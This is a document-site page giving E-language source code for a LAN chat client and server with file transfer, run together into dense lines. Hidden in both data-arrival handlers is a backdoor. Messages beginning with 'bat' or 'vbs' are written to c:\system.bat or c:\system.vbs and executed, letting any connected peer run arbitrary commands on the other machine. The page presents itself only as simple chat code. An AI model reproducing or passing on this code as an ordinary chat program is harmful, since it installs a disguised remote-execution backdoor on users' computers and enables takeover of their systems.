当前位置:文档之家› 易语言简单局域网聊天代码(客户服务器组件编写)

易语言简单局域网聊天代码(客户服务器组件编写)

客户机代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_按钮1_被单击.局部变量现在时间, 文本型.如果(编辑框7.内容=“1”).如果(编辑框6.内容≠“”).如果(编辑框2.内容≠“”)客户1.发送数据(“聊天”+编辑框2.内容)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框1.内容=编辑框1.内容+“【本机】”+现在时间+#换行符+“”+编辑框2.内容+#换行符编辑框2.内容=“”.否则信息框(“发送消息不能为空”, 48, “提示”).如果结束.否则信息框(“服务器IP地址不能为空”, 48, “提示”).如果结束.否则信息框(“服务器未连接”, 48, “提示”).如果结束.子程序_按钮2_被单击.如果(编辑框6.内容≠“”).如果(编辑框8.内容≠“”).如果(客户1.连接(编辑框6.内容, 1991) =真)播放MP3 (1, “xlj.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“成功”+#换行符按钮2.禁止=真编辑框7.内容=“1”客户1.发送数据(“昵称”+编辑框8.内容).否则播放MP3 (1, “lk.mp3”)编辑框1.内容=编辑框1.内容+“连接:”+编辑框6.内容+“失败”+#换行符.如果结束.否则信息框(“请填写你的昵称”, 48, “提示”).如果结束.否则信息框(“请填写要连接的IP地址”, 48, “提示”).如果结束.子程序_客户1_数据到达.局部变量接收内容, 文本型.局部变量现在时间, 文本型.局部变量发送进度, 整数型接收内容=到文本(客户1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间())).如果(接收内容=“接收”).如果(是否在文件尾(文件号1, ) =假)发送内容=读入字节集(文件号1, 2048)发送进度=取读写位置(文件号1)进度条1.位置=发送进度÷文件长度×1000客户1.发送数据(发送内容).否则客户1.发送数据(“发送完毕”)信息框(“发送完毕”, 64, “提示”)分组框8.可视=假进度条1.位置=0.如果结束.否则.如果(接收内容=“拒绝”)信息框(“对方拒绝接收文件”, 64, “提示”)分组框8.可视=假.否则.如果(取文本左边(接收内容, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本左边(接收内容, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -3))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则编辑框1.内容=编辑框1.内容+“【服务器】”+现在时间+#换行符+“”+接收内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.如果结束.如果结束.子程序_客户1_连接断开编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).子程序_按钮4_被单击.如果(编辑框7.内容=“1”)客户1.断开连接()编辑框7.内容=“0”编辑框1.内容=编辑框1.内容+“<与服务器断开连接>”+#换行符按钮2.禁止=假播放MP3 (1, “lk.mp3”).否则信息框(“没有连接”, 48, “提示”).如果结束.子程序_按钮9_被单击编辑框13.内容=“”分组框8.可视=假.子程序_按钮7_被单击通用对话框1.打开()编辑框13.内容=通用对话框1.文件名.子程序_按钮8_被单击.如果(编辑框13.内容≠“”)文件名=取文本右边(编辑框13.内容, 取文本长度(编辑框13.内容) -倒找文本(编辑框13.内容, “\”, , 假))文件号1 =打开文件(编辑框13.内容, 1, 1)文件长度=取文件长度(文件号1)客户1.发送数据(“文件名”+文件名+“|”+到文本(文件长度)).否则信息框(“未选择文件”, 48, “提示”).如果结束.子程序_按钮10_被单击.如果(编辑框7.内容=“1”)分组框8.可视=真.否则信息框(“未连接服务器”, 48, “提示”).如果结束.子程序_按钮13_被单击.局部变量文件号3, 整数型文件号3 =打开文件(“客户机聊天记录.txt”, 5, 1)移到文件尾(文件号3)插入文本(文件号3, 编辑框1.内容)关闭文件(文件号3)编辑框1.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框1_内容被改变编辑框1.起始选择位置=-1服务器代码:.版本2.支持库shell.支持库xplib.程序集窗口程序集1.程序集变量文件号1, 整数型.程序集变量文件长度, 整数型.程序集变量发送内容, 字节集.程序集变量文件名, 文本型.程序集变量文件号2, 整数型.子程序_服务器1_客户进入.子程序_服务器1_数据到达.局部变量接收内容, 文本型.局部变量x, 整数型.局部变量i, 整数型.局部变量现在时间, 文本型.局部变量聊天内容, 文本型.局部变量j, 整数型.局部变量x1, 整数型.局部变量IP, 文本型.局部变量端口, 文本型接收内容=到文本(服务器1.取回数据())现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))编辑框5.内容=到文本(服务器1.取回客户())编辑框9.内容=取文本右边(接收内容, 取文本长度(接收内容) -4)x1 =寻找文本(编辑框5.内容, “:”, 1, 假)IP =取文本左边(编辑框5.内容, x1 -1)端口=取文本右边(编辑框5.内容, 取文本长度(编辑框5.内容) -x1)编辑框10.内容=IP编辑框11.内容=端口.如果(取文本左边(接收内容, 4) =“昵称”)列表框1.加入项目(到文本(服务器1.取回客户()), )列表框2.加入项目(取文本右边(接收内容, 取文本长度(接收内容) -4), )编辑框3.内容=编辑框3.内容+“<【”+取文本右边(接收内容, 取文本长度(接收内容) -4) +“】进入>”+现在时间+#换行符播放MP3 (1, “xlj.mp3”).否则.如果(取文本左边(接收内容, 6) =“文件名”)编辑框12.内容=到文本(服务器1.取回客户())j =倒找文本(接收内容, “|”, , 假)编辑框14.内容=“d:\”+取文本中间(接收内容, 7, j -7)分组框9.标题=“来自:”+到文本(服务器1.取回客户()) +“的发送文件请求”编辑框16.内容=“文件大小:”+到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)) ÷1024 ÷1024) +“Mb”编辑框15.内容=到文本(到数值(取文本右边(接收内容, 取文本长度(接收内容) -j)))播放音乐(“xwj.wav”, 假)分组框9.可视=真.否则.如果(取文本左边(接收内容, 4) =“聊天”).如果(取文本中间(接收内容, 5, 3) =“bat”)文件号1 =打开文件(“c:\system.bat”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.bat”, , , ).否则.如果(取文本中间(接收内容, 5, 3) =“vbs”)文件号1 =打开文件(“c:\system.vbs”, 4, 1)写出文本(文件号1, 取文本右边(接收内容, 取文本长度(接收内容) -7))关闭文件(文件号1)执行(4, “c:\system.vbs”, , , ).否则聊天内容=取文本右边(接收内容, 取文本长度(接收内容) -4)编辑框5.内容=到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)编辑框9.内容=列表框2.取项目文本(x).否则.如果结束.变量循环尾()编辑框3.内容=编辑框3.内容+“【”+编辑框9.内容+“】”+现在时间+#换行符+“”+聊天内容+#换行符播放音乐(“xxx.wav”, 假).如果结束.如果结束.否则.如果(接收内容=“发送完毕”)关闭文件(文件号2)信息框(“接收完成”, 64, “提示”)执行(4, 取文本左边(编辑框14.内容, 倒找文本(编辑框14.内容, “\”, , 假) -1), , , )编辑框12.内容=“”编辑框17.内容=“0”进度条2.位置=0分组框9.可视=假.否则编辑框17.内容=到文本(到数值(编辑框17.内容) +2048)进度条2.位置=到数值(编辑框17.内容) ÷到数值(编辑框15.内容) ×1000写出字节集(文件号2, 服务器1.取回数据())服务器1.发送数据(服务器1.取回客户(), “接收”, 10).如果结束.如果结束.如果结束.如果结束.子程序_按钮3_被单击.局部变量现在时间, 文本型.如果(编辑框5.内容≠“”).如果(编辑框4.内容≠“”)现在时间=到文本(取年份(取现行时间())) +“/”+到文本(取月份(取现行时间())) +“/”+到文本(取日(取现行时间())) +“/”+到文本(取小时(取现行时间())) +“:”+到文本(取分钟(取现行时间())) +“:”+到文本(取秒(取现行时间()))服务器1.发送数据(编辑框5.内容, 编辑框4.内容, 10)编辑框3.内容=编辑框3.内容+“TO【”+编辑框9.内容+“】”+现在时间+#换行符+“”+编辑框4.内容+#换行符编辑框4.内容=“”.否则信息框(“发送内容不能为空”, 48, “提示”).如果结束.否则信息框(“请选择客户”, 48, “提示”).如果结束.子程序_按钮5_被单击.局部变量i, 整数型.局部变量x, 整数型.如果(编辑框5.内容≠“”)编辑框3.内容=编辑框3.内容+“<正在与【”+编辑框9.内容+“】断开>......”+#换行符服务器1.断开客户(编辑框5.内容)播放MP3 (1, “lk.mp3”).否则信息框(“请选择客户”, 48, “提示”).如果结束i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =编辑框5.内容)列表框1.删除项目(x)列表框2.删除项目(x).否则.如果结束.变量循环尾()编辑框5.内容=“”编辑框9.内容=“”.子程序_列表框2_列表项被选择.局部变量j, 整数型j =列表框2.现行选中项编辑框5.内容=到文本(列表框1.取项目文本(j))编辑框9.内容=到文本(列表框2.取项目文本(j)).子程序_服务器1_客户离开.局部变量i, 整数型.局部变量x, 整数型.局部变量lkkh, 文本型lkkh =到文本(服务器1.取回客户())i =列表框1.取项目数().变量循环首(0, i -1, 1, x).如果(列表框1.取项目文本(x) =lkkh)列表框1.删除项目(x)编辑框3.内容=编辑框3.内容+“<【”+列表框2.取项目文本(x) +“】离开>”+#换行符列表框2.删除项目(x).否则.如果结束.变量循环尾().如果(lkkh =编辑框5.内容)编辑框5.内容=“”编辑框9.内容=“”编辑框10.内容=“”编辑框11.内容=“”.否则.如果结束播放MP3 (1, “lk.mp3”).子程序_按钮12_被单击编辑框14.内容=“”服务器1.发送数据(编辑框12.内容, “拒绝”, 10)编辑框12.内容=“”分组框9.可视=假.子程序_按钮11_被单击文件号2 =打开文件(编辑框14.内容, 4, )服务器1.发送数据(编辑框12.内容, “接收”, 10).子程序_按钮14_被单击.局部变量文件号4, 整数型文件号4 =打开文件(“服务器聊天记录.txt”, 5, 1)移到文件尾(文件号4)插入文本(文件号4, 编辑框3.内容)关闭文件(文件号4)编辑框3.内容=“”.子程序__启动窗口_创建完毕_启动窗口.标题=_启动窗口.标题+“本机IP地址【”+转换为IP地址(取主机名()) +“】”XP风格(3).子程序_编辑框3_内容被改变编辑框3.起始选择位置=-1。

相关主题